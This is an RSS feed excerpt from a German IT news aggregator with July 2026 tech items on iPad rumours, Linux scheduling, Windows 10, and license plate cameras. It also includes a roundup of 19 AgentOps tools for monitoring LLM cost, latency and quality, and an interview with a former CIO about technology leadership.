<link>https://tsecurity.de/de/3673791/ios-mac-os/ipad-ipad-air-refreshes-are-coming-but-not-until-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673791/ios-mac-os/ipad-ipad-air-refreshes-are-coming-but-not-until-2027/</guid>
<pubDate>Thu, 16 Jul 2026 16:24:43 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While a new <a href="https://appleinsider.com/inside/ipad-mini" title="iPad mini" data-kpt="1">iPad mini</a> is expected before the end of 2026, a new report says you'll need to wait longer for updates to the entry-level iPad, iPad Air, and iPad Pro.<br><br><div><img src="https://photos5.appleinsider.com/gallery/59616-121726-ipadaappheader-xl.jpg" alt="Apple has an iPad for many different budgets." height="738"><br><span>The whole iPad range is scheduled for updates.</span></div><br>The most <a href="https://appleinsider.com/articles/26/07/14/oled-ipad-mini-may-still-launch-before-the-end-of-2026">recent rumors</a> of the first update to the iPad mini since October 2024 have claimed that it will be released with an OLED screen before the end of 2026. Now according to <em>Bloomberg</em>, this update is <a href="https://www.bloomberg.com/news/articles/2026-07-16/apple-nears-launch-of-oled-ipad-mini-new-ipad-air-and-base-ipad-in-2027">the first</a> of several iPad model refreshes.<br><br>Specifically, the report claims that Apple plans to release new iPads from the fall through to spring 2027:<br><br><br> <a href="https://appleinsider.com/articles/26/07/16/ipad-ipad-air-refreshes-are-coming-but-not-until-2027?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244974?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The dream of AirPods with removable batteries is still seemingly out of reach, and it's all because of a new EU ruling]]></title>
<description><![CDATA[Apple fans have been clamoring for AirPods with removable batteries to make them repairable, but it's likely not coming any time soon thanks to a new EU ruling.]]></description>
<link>https://tsecurity.de/de/3673758/it-nachrichten/the-dream-of-airpods-with-removable-batteries-is-still-seemingly-out-of-reach-and-its-all-because-of-a-new-eu-ruling/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673758/it-nachrichten/the-dream-of-airpods-with-removable-batteries-is-still-seemingly-out-of-reach-and-its-all-because-of-a-new-eu-ruling/</guid>
<pubDate>Thu, 16 Jul 2026 16:18:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple fans have been clamoring for AirPods with removable batteries to make them repairable, but it's likely not coming any time soon thanks to a new EU ruling.]]></content:encoded>
</item>
<item>
<title><![CDATA[[$] Sched-ext: enqueue() for sub-schedulers and proxy-execution support]]></title>
<description><![CDATA[The extensible
scheduler class (sched_ext) allows the installation of custom CPU
schedulers as a set of BPF programs.  While sched_ext, in its current form,
has already led to a lot of interesting scheduler-development work, the
subsystem itself is still undergoing rapid evolution.  Among other w...]]></description>
<link>https://tsecurity.de/de/3673739/linux-tipps/sched-ext-enqueue-for-sub-schedulers-and-proxy-execution-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673739/linux-tipps/sched-ext-enqueue-for-sub-schedulers-and-proxy-execution-support/</guid>
<pubDate>Thu, 16 Jul 2026 16:10:39 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The <a href="https://docs.kernel.org/scheduler/sched-ext.html">extensible
scheduler class</a> (sched_ext) allows the installation of custom CPU
schedulers as a set of BPF programs.  While sched_ext, in its current form,
has already led to a lot of interesting scheduler-development work, the
subsystem itself is still undergoing rapid evolution.  Among other work,
the ability to set up a hierarchy of <a href="https://lwn.net/Articles/1056014/">sub-schedulers</a> is approaching completion, and
a longstanding incompatibility with <a href="https://lwn.net/Articles/934114/">proxy
execution</a> is coming to an end.]]></content:encoded>
</item>
<item>
<title><![CDATA[The backlash against Flock cameras is spreading]]></title>
<description><![CDATA[Privacy concerns have dogged Flock's automated license plate recognition system for years. Now accuracy and reliability are coming under scrutiny too.]]></description>
<link>https://tsecurity.de/de/3673720/it-security-nachrichten/the-backlash-against-flock-cameras-is-spreading/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673720/it-security-nachrichten/the-backlash-against-flock-cameras-is-spreading/</guid>
<pubDate>Thu, 16 Jul 2026 16:08:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Privacy concerns have dogged Flock's automated license plate recognition system for years. Now accuracy and reliability are coming under scrutiny too.]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung Galaxy Watch 9 Is Coming: These Features Would Make It Awesome video]]></title>
<description><![CDATA[Samsung Unpacked is right around the corner, and with it, we'll be getting new Samsung Galaxy Watches. The pressure is on with this generation for Samsung, so here's what we know, what we expect and what we want from the company's latest wearables.]]></description>
<link>https://tsecurity.de/de/3673536/it-nachrichten/samsung-galaxy-watch-9-is-coming-these-features-would-make-it-awesome-video/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673536/it-nachrichten/samsung-galaxy-watch-9-is-coming-these-features-would-make-it-awesome-video/</guid>
<pubDate>Thu, 16 Jul 2026 15:03:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung Unpacked is right around the corner, and with it, we'll be getting new Samsung Galaxy Watches. The pressure is on with this generation for Samsung, so here's what we know, what we expect and what we want from the company's latest wearables.]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 10 refuses to die, and the security bill is coming due]]></title>
<description><![CDATA[One in six machines still run the old OS as migration stalls and patch deadlines creep closer This article has been indexed from www.theregister.com – Articles Read the original article: Windows 10 refuses to die, and the security bill is…
Read more →
The post Windows 10 refuses to die, and the s...]]></description>
<link>https://tsecurity.de/de/3673322/it-security-nachrichten/windows-10-refuses-to-die-and-the-security-bill-is-coming-due/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673322/it-security-nachrichten/windows-10-refuses-to-die-and-the-security-bill-is-coming-due/</guid>
<pubDate>Thu, 16 Jul 2026 13:53:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>One in six machines still run the old OS as migration stalls and patch deadlines creep closer This article has been indexed from www.theregister.com – Articles Read the original article: Windows 10 refuses to die, and the security bill is…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/windows-10-refuses-to-die-and-the-security-bill-is-coming-due/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/windows-10-refuses-to-die-and-the-security-bill-is-coming-due/">Windows 10 refuses to die, and the security bill is coming due</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 10 refuses to die, and the security bill is coming due]]></title>
<description><![CDATA[One in six machines still run the old OS as migration stalls and patch deadlines creep closer]]></description>
<link>https://tsecurity.de/de/3673278/it-security-nachrichten/windows-10-refuses-to-die-and-the-security-bill-is-coming-due/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673278/it-security-nachrichten/windows-10-refuses-to-die-and-the-security-bill-is-coming-due/</guid>
<pubDate>Thu, 16 Jul 2026 13:39:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[One in six machines still run the old OS as migration stalls and patch deadlines creep closer]]></content:encoded>
</item>
<item>
<title><![CDATA[Ultrahuman’s former hardware VP raises $5.5M for devices that control AI agents, not just record you]]></title>
<description><![CDATA[Aina is going to pilot a new device in coming weeks]]></description>
<link>https://tsecurity.de/de/3673256/it-nachrichten/ultrahumans-former-hardware-vp-raises-55m-for-devices-that-control-ai-agents-not-just-record-you/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673256/it-nachrichten/ultrahumans-former-hardware-vp-raises-55m-for-devices-that-control-ai-agents-not-just-record-you/</guid>
<pubDate>Thu, 16 Jul 2026 13:33:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Aina is going to pilot a new device in coming weeks]]></content:encoded>
</item>
<item>
<title><![CDATA[19 AgentOps tools for monitoring AI activity, issues, and costs]]></title>
<description><![CDATA[With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the ...]]></description>
<link>https://tsecurity.de/de/3673038/it-security-nachrichten/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673038/it-security-nachrichten/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the tools to support our new overlords in an emerging subdiscipline interchangeably called “<a href="https://www.cio.com/article/196239/what-is-aiops-injecting-intelligence-into-it-operations.html">AIOps</a>,” “AgentOps,” and sometimes “agent observability.”</p>



<p class="wp-block-paragraph">Many of the challenges involved in AgentOps are similar to those tackled by traditional DevOps tools and processes. After all, at their foundation, LLMs are just software running on hardware somewhere. Typical issues involving RAM and disk space are just as important in the agent world, maybe more so because AI operations are even more greedy about consuming storage than regular software is.</p>



<p class="wp-block-paragraph">Many of the companies supporting agent observability are big names in DevOps circles, having adapted their stacks to address the idiosyncrasies of modern LLMs. IT teams maintaining enterprise agents can treat the LLMs as just one node in a big graph filled with services that are constantly swapping packets and triggering software jobs. Latency and resource constraints must be managed because end-users don’t care whether it’s an LLM, a database, or a plain-old Python script that’s failing, bringing their work to a grinding halt.</p>



<p class="wp-block-paragraph">But new AI-specific challenges are opening the door to newcomers that are building tools with the peculiarities of LLMs in mind — for example, keeping deeper logs filled with records of prompts. LLMs are also often very non-deterministic by design, making it trickier to pinpoint failure modes. And then there’s the fact that an agent will give a perfectly intelligent answer one minute and hallucinate the next.</p>



<p class="wp-block-paragraph">Relying on many of the same approaches that DevOps tools do, AgentOps tools watch for misbehavior and flag anything out of the ordinary for deeper analysis. This may be as simple as fixing slow responses, but it can also include AI hallucinations and other issues born of LLMs’ non-determanism.</p>



<p class="wp-block-paragraph">Teams trying to choose which agent observability tools is best for their use case should look at the size and nature of their agentic systems and projects. Are they adding AI agent features to an existing product or application, or are they building agentic systems from scratch? Are they more focused on maintaining a stable LLM operation or iterating on new approaches? Is AI the center of attention or just an add-on that’s meant to improve an existing stack?<br><br>The AgentOps and agent observability options listed below share many of the same features but differ in their focus and their attention to the challenges organizations will encounter when incorporating agents into their stacks. Each tool offers a worthwhile place to start understanding how to care for the growing presence of AI in the production world.</p>



<h2 class="wp-block-heading">AgentOps.ai</h2>



<p class="wp-block-paragraph">When teams of agents work together, tracking the conversations are essential for understanding and debugging what’s happening. The SDK from <a href="http://agentops.ai/">AgentOps.ai records</a> events so that the creators can replay past behavior to track details such as token counts, spending, latency, and more. Available as a service and on-premises.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.agentops.ai/#pricing">Starts at $40 per month </a>plus usage costs at $0.20 per 1M tokens</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Replay analytics with “time-travel debugging”</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Complex agent debugging</p>



<h2 class="wp-block-heading">Arize Phoenix</h2>



<p class="wp-block-paragraph">Debugging prompts and LLM responses requires a nuanced understanding of just what’s happening, in part because of the non-determinism that often enters the process. <a href="https://arize.com/phoenix/">Phoenix</a> from Arize supports this process with robust tracing and the ability to score the results for more precise iteration. Their system can track the results and tool calls from a variety of major platforms (Anthropic, AWS, OpenAI, etc.) that are initiated by the major frameworks (LangChain, LlamaIndex, DSPy, etc.). The result is insight into what data is triggering what chain of responses.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://arize.com/pricing/">Pro plan</a> starts at $50 per month plus costs tied to events</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> LLM-as-a-Judge metrics for tracking quality</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Teams focusing on iterating for accuracy and quality</p>



<h2 class="wp-block-heading">BigPanda</h2>



<p class="wp-block-paragraph"><a href="https://www.bigpanda.io/">BigPanda</a> has always offered solutions for tracking performance of complex systems. Now the company is drilling deeper into the challenge of detecting and ending the problems that come from models that go awry. BigPanda’s main system relies on historical data and machine learning algorithms to flag issues. Its own agent layer connects the problematic nodes and errant models while dispatching alerts to the right team members.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> “Value-based” table on <a href="https://www.bigpanda.io/pricing/">request</a></p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Automated triage for faster response</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Large teams seeking to reduce alert fatigue from large customer base</p>



<h2 class="wp-block-heading">Braintrust</h2>



<p class="wp-block-paragraph">Setting up an effective improvement cycle for an AI agent requires a strong feedback loop from production data to the agent’s next generation. <a href="https://www.braintrust.dev/">Braintrust</a> watches the production workload and creates test vectors that expose how an agent may be drifting, regressing, or departing from its path. The tool automates much of the testing and scoring feedback loop so problematic patterns can be discovered and addressed. A core part of the offering is a specialized data store that can track large and sometimes deeply nested collections of tests and their results. Their approach may be summarized by one of their tag lines: “trace everything.”</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free starter tier; <a href="https://www.braintrust.dev/pricing">Pro plan</a> starts at $249 with some usage-based costs covered</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Highly scalable trace ingestion</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams developing strong guardrails through continuous testing</p>



<h2 class="wp-block-heading">Chronicle Labs</h2>



<p class="wp-block-paragraph">When it’s time to release a new version of an agent into the wild, the <a href="https://chronicle-labs.com/">platform from Chronicle Labs </a>specializes in staging it and testing it with a collection of use tests and regression cases. The tools are also helpful during development cycles. “Backtest your agent against reality,” their sales material promises, with a set of tools that mines the production telemetry for solid test vectors that stress every part of the agent with prompts and challenges that the agent will encounter after leaving the safety of the lab.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> On <a href="https://chronicle-labs.com/book-call">request</a></p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Back-testing options for complex testing regimes</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams chasing strong models with good fidelity to reality</p>



<h2 class="wp-block-heading">Comet Opik</h2>



<p class="wp-block-paragraph">Building a dashboard for tracking every in-flow and out-flow to agents is one way to be ready to watch for and solve problems. <a href="https://www.comet.com/site/products/opik/">Opik from Comet </a>is just such a tool. The DevOps teams can track each call and add its own automated routines to examine the results, score them based on 30-plus metrics, and if desired, send it off to another LLM to evaluate the results. Agents that are constantly failing stand out. DevOps teams can also ask questions like, “Who is using this model and racking up all of the bills?” The same goes for MCP skills and other cogs in the machine.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tiers for open source and small projects; <a href="https://www.comet.com/site/pricing/">Pro plan</a> starts at $19 per month with usage limits</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Auto-scoring with 30-plus metrics for evaluating traces</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams focusing on RAG and agentic workflows</p>



<h2 class="wp-block-heading">Datadog</h2>



<p class="wp-block-paragraph">DevOps teams that rely on <a href="https://www.datadoghq.com/">Datadog</a> to track logs across collections of services can also use it to track LLM operations, which are, of course, just another source and sink for data. It will track performance such as time to first token and offer insight into what might be causing an issue, such as lack of memory. Results then get plugged into the same cost-tracking mechanism so the bean counters can predict when the budget will run out. After all, the CFO likely doesn’t care whether the bill comes from an LLM or an old-school S3 storage bucket. Datadog integrates AI into their tools by treating these models as just another source of data.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier with <a href="https://www.datadoghq.com/pricing/">multiple paid tiers</a> for various levels of enterprise monitoring</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Large installed base with broad focus on more than LLMs</p>



<p class="wp-block-paragraph"><em>Best for:</em> Large enterprise teams working with established infrastructure</p>



<h2 class="wp-block-heading">Dynatrace</h2>



<p class="wp-block-paragraph">For more than 20 years, <a href="https://www.dynatrace.com/">Dynatrace</a> has been delivering tools that track dataflows across the full stack. Now that AIs are finding roles in many of the nodes in this complex graph, they’re expanding to track how various AI agents can interact. They want to build one platform that helps track the root cause and, often now, deploy solutions autonomously. They want to focus on being ready to support complex networks of agents that detect problems in either performance or security and then work within defined guardrails to fix them. Determining the right role for their own AI-powered agents is a key part of the product.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.dynatrace.com/pricing/">Plans</a> start at $7 per month with larger plans designed for full enterprise monitoring</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> High level of autonomous monitoring designed for large installations</p>



<p class="wp-block-paragraph"><em>Best for: </em>Complex, hybrid environments mixing LLMs with traditional services</p>



<h2 class="wp-block-heading">Galileo</h2>



<p class="wp-block-paragraph">Placing some AI systems into production is often a harrowing experience because the actual performance is impossible to predict, even with the most rigorous tests. <a href="https://galileo.ai/">Galileo</a> offers guardrails that track performance and watch for any behavior that deviates from the ground truth. Their “LLM-as-judge” systems are distilled into compact models that can be run locally for lower costs and faster performance.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; Pro plans start at $50 per month with usage-based limits and costs</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Real-time guardrails for deployed agents</p>



<p class="wp-block-paragraph"><em>Best for:</em> Security-conscious installations that need to defend against hallucination and data leakage</p>



<h2 class="wp-block-heading">Grafana Labs</h2>



<p class="wp-block-paragraph">Long the go-to source for<a href="https://grafana.com/oss/"> open source </a>telemetry, <a href="https://grafana.com/products/cloud/ai-assistant/?pg=hp&amp;plcmt=txt-img-alternating">Grafana Labs</a> now tracks performance of AI models in constellations of services. Grafana tracks the evolution of answers across the agentic network to recognize how small changes or hallucinations can spin out of control. It bills its system as “actually useful AI” and has even trademarked it. Its cloud assistant can configure and reconfigure the Grafana dash to offer the right level of observability. Its system includes AI-level analysis that can flag models that are responding quickly but offering bad answers because of problems such as model drift or context degradation.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Basic free tier; <a href="https://grafana.com/pricing/">Pro plan</a> begins at $19 per month, includes better retention and some usage-based fees </p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Full-stack tool with fully integrated LLM tools</p>



<p class="wp-block-paragraph"><em>Best for:</em> Large, enterprise-scale system adding AI</p>



<h2 class="wp-block-heading">Helicone</h2>



<p class="wp-block-paragraph">Sometimes shoehorning in another tool into the chain can be tricky. <a href="https://www.helicone.ai/">Helicone</a> is designed as a smart network proxy that will route all model requests while keeping solid debugging records from the data as it goes by. The data it captures can be turned into nice charts that make it easy to spot latency issues or model failures. Naturally, tracking AI spend is also a feature in much demand as bills continue to climb.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://www.helicone.ai/pricing">Pro plan</a> starts at $79 per month, includes features such as team collaboration and improved querying</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Proxy-based integration</p>



<p class="wp-block-paragraph"><em>Best for:</em> Development teams who want to add better monitoring features quickly</p>



<h2 class="wp-block-heading">Laminar</h2>



<p class="wp-block-paragraph">Tracking agents in development and production means building strong storehouses of data enumerating what happened. <a href="https://laminar.sh/">Laminar</a> works closely with OpenTelemetry to follow agents operating in production so that flaws and failure modes can be understood from log files stored efficiently with their own compression scheme. Developers can search through traces with an SQL-ish language and Laminar’s transcript view illuminates what happened. When necessary, the traces can enable developers to scroll back in time and replay the same inputs for debugging. The goal is to offer deep insights with high-level visibility of how well the agents are meeting business objectives.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; “Hobby” tier that adds more features at $30; <a href="https://laminar.sh/pricing">Pro level</a> starts at $150 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Open-source license makes self-hosting a viable option</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams fully able to leverage open-source responsibilities</p>



<h2 class="wp-block-heading">LangChain LangSmith</h2>



<p class="wp-block-paragraph">Real-time data from agents is essential for managing any mutli-agent system in production. LangSmith from <a href="https://www.langchain.com/">LangChain</a> traces costs, tools, and progress toward solutions for a wide collection of agents using SDKs for Python, TypeScript, Go, and Java. The OpenTelemetry-based solution watches for anomalies, issuing warnings and alerts through dashboards and communication channels such as PagerDuty. Deeper analysis can reveal issues such as topic clustering or odd patterns of failure. Coordination with agent deployment platforms such as LangGraph and deepagents ensures greater focus on successful resolution of assignments.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free for solo developers; <a href="https://www.langchain.com/pricing">Pro teams</a> start at $39 per person per month </p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Systematic approach to regression testing of prompts</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams relying on LangChain and LangGraph frameworks for supporting complex agentic behavior</p>



<h2 class="wp-block-heading">Lunary</h2>



<p class="wp-block-paragraph">Watching the user experience is essential for building AI applications such as chatbots and assistants. <a href="https://lunary.ai/">Lunary</a> offers a proxy that traces all interactions and then builds analytical dashboards for measuring metrics such as user satisfaction or model costs. One common usage is finding frequent topics and looking at the responses to ensure they deliver. When prompts aren’t perfect, Lunary lets teams iterate on the prompt text until the right answers are coming out. Its proxy structure and common API format enables Lunary to promise to work with “any LLM, any framework.”</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tier; <a href="https://lunary.ai/pricing">Pro plan</a> starts at $20 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Deep integration with humans for reviewing and optimizing results</p>



<p class="wp-block-paragraph"><em>Best for:</em> Startups focused on rapid prompt innovation</p>



<h2 class="wp-block-heading">NewRelic</h2>



<p class="wp-block-paragraph">The platform that began tracking performance of some web applications is now powerful enough to track the flows of data through complex agentic ecologies. <a href="https://newrelic.com/platform/ai-observability">NewRelic’s</a> AI-driven monitoring watches for golden signals that can indicate misbehavior or worse throughout the entire lifecycle. It tracks every detail of the interactions through protocols such as MCP and then makes this available to the AI engineers responsible for performance. The dashboard provides the insights necessary to watch for toxic behavior, overt bias, drift, and overblown hallucinations. Predicting and maybe even controlling the cost is also a growing role as tokenomics becomes as important as response time.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tier; Pro plan fees available through website</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Full-stack support with hundreds of integrations with other tools</p>



<p class="wp-block-paragraph"><em>Best for:</em> Established enterprise teams mixing in AI</p>



<h2 class="wp-block-heading">Nova AI Ops</h2>



<p class="wp-block-paragraph">The goal of <a href="https://novaaiops.com/">Nova AI Ops </a>is to deliver a team of agents that watch over a cloud and make it, at least partially, self-healing. Each agent uses a mixture of predictive AI and machine learning to watch cloud telemetry reports for anomalies. Then they calculate the “blast radius” and decide whether this is a problem that can be fixed automatically “while you sleep” or saved for the human supervisors. These tools are aimed not just on LLM operations but on the stack as a whole.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://novaaiops.com/pricing">Standard pricing </a> begins at $40 per user per month with usage billing</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Focus on software reliability engineering helps teams deliver stable stacks</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams that want to integrate LLMs into incident response and stability management</p>



<h2 class="wp-block-heading">Splunk</h2>



<p class="wp-block-paragraph">The platform that began delivering smart logging is now fully AI capable, offering solutions that can watch over agents with much the same way that it continues to track microservices. <a href="https://www.splunk.com/en_us/solutions/splunk-artificial-intelligence.html">Splunk</a> now includes a fairly large amount of predictive AI for learning from the information in the logs and then turning this learning into fast solutions. This AI assistant can track deployed AI models connected by protocols such as MCP and watch over behavior while delivering the ability for users to drill down and explore what’s working and what’s failing. Their AI Canvas is meant to offer a central hub where the AI scientists can track both the local behavior of the models as well as their role in a larger data ecosystem.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.splunk.com/en_us/resources/splunk-pricing-options.html">Activity-based pricing</a> tracks usage of LLM backends and storage</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Ready to scale to large enterprise stacks</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams with legacy systems that are folding in agentic options</p>



<h2 class="wp-block-heading">SuperPenguin</h2>



<p class="wp-block-paragraph">One of the most important parts of an AI service is the bill. <a href="https://superpenguin.ai/#features">SuperPenguin</a> is a product designed to track consumption and make predictions so that the CFO won’t be surprised. The goal is to provide solid estimates about the total cost of each product by allocating costs to customers, features, and teams. If there’s a sudden shift, a “spike detector” will raise an alarm so that dev teams can ensure that the AI spend is worth it.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier for experimentation; Growth tier for teams, starting at $30 per month; <a href="https://superpenguin.ai/#pricing">Pro tier </a>offers deeper options starting at $200 per month</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Strong accounting with invoice reconciliation and PR-level usage tracking</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams that need precise cost accounting</p>



<h2 class="wp-block-heading">Vellum</h2>



<p class="wp-block-paragraph">Prompt engineers spend time fussing over the details of tweaking, improving, and enhancing the words that guide the LLM. <a href="https://www.vellum.ai/">Vellum</a> started as a company that would provide the pipeline so that you could manage and improve the prompts that ran again and again. Now the system is growing more powerful, offering a higher level of automation that lets you meta-manage the prompt chain. They’ve also begun marketing it as a form of personal assistant with pre-built connections to many of the major services such as Gmail. Its <a href="https://github.com/vellum-ai/llm-cost-optimizer">llm-cost-optimizer </a>can juggle multiple options while finding a cheaper way to execute a prompt, a process the company suggests can save 60% or more.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Open-source free tier; Pro plan starts at $35 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Focus on multi-model pipelines for true agentic solutions</p>



<p class="wp-block-paragraph"><em>Best for:</em> Product teams with complex prompt engineering workflows</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What next-generation IT leadership looks like]]></title>
<description><![CDATA[Today’s CIOs must master a complex balancing act of maintaining operational excellence while enabling AI experimentation, modernizing legacy environments while accelerating innovation, leading workforce transformation while maintaining culture, and communicating fluently across boards, business u...]]></description>
<link>https://tsecurity.de/de/3672917/it-nachrichten/what-next-generation-it-leadership-looks-like/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672917/it-nachrichten/what-next-generation-it-leadership-looks-like/</guid>
<pubDate>Thu, 16 Jul 2026 11:18:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Today’s CIOs must master a complex balancing act of maintaining operational excellence while enabling AI experimentation, modernizing legacy environments while accelerating innovation, leading workforce transformation while maintaining culture, and communicating fluently across boards, business units, customers, and technical teams alike.</p>



<p class="wp-block-paragraph">Few leaders understand this balancing act better than former Verizon CIO Jane Connell. Over her career, Connell has helped some of the world’s largest enterprises modernize operations, reduce complexity, and transform how technology enables business value at scale. As a <a href="https://www.cio.com/article/236876/cio-hall-of-fame-honorees.html">2026 CIO Hall of Fame inductee</a>, she is widely respected not only for operational excellence and strategic vision but also for her commitment to mentoring, workforce transformation, and preparing the next generation of leaders for a rapidly changing future.</p>



<p class="wp-block-paragraph">On a recent episode of <a href="https://linktr.ee/techwhisperers">the Tech Whisperers podcast</a>, we unpacked Connell’s unconventional leadership story and the playbook that has shaped one of technology’s most impactful leaders. In this exclusive interview after the show, edited for length and clarity, Connell shares more lessons from her Hall of Fame journey and why she believes the future of technology leadership will depend less on org charts and more on curiosity, credibility, and human connection.</p>



<p class="wp-block-paragraph"><strong>Dan Roberts: When you think about preparing the next generation of technology leaders, what capabilities or mindsets do you believe will matter most in this next era?</strong></p>



<p class="wp-block-paragraph"><strong>Jane Connell:</strong> One is curiosity, or what I call the “why” factor: What do we need to do and why do we need to do it? It’s having a mindset of unlocking the art of the possible. You must be comfortable with what you know, what you don’t know, and asking the question why, because in this era of AI and where technology is going, it’s not about automating things you know; it’s about what you don’t already know, and what that unlocks. AI creates patterns and opportunities and re-engineers through its own intelligence, so there has to be a lot of instinct involved, and you’re going to have to understand and learn what it’s telling you.</p>



<p class="wp-block-paragraph">I’m on the board of Rutgers, and one of the conversations we’re in with future leaders in education is that <a href="https://www.cio.com/article/4047844/ai-is-taking-over-junior-positions-in-it.html">you don’t have those entry-level jobs anymore</a>. They’re going to be AI. But those were building blocks for us. <a href="https://www.cio.com/article/4189865/how-ai-automation-is-reshaping-the-it-leadership-pipeline.html">We came up the ranks and did those jobs</a>, and that created the knowledge. [Future leaders are] not going to have that, so how do you create the foundation of knowledge — which is that art of asking why or what — to question if the bots or the patterns are biased or wrong. You’re not going to have the experience to rely on and say, “That’s wrong; I know that’s wrong because I did those. I know how this operates.”</p>



<p class="wp-block-paragraph">Second is having humility and being comfortable in your skin — that you don’t know everything, but you’re going to learn it. You’re going to involve yourself with people. It’s about workforce structure, not organizational structure. Who do you need to talk to, and what do you have to find out?</p>



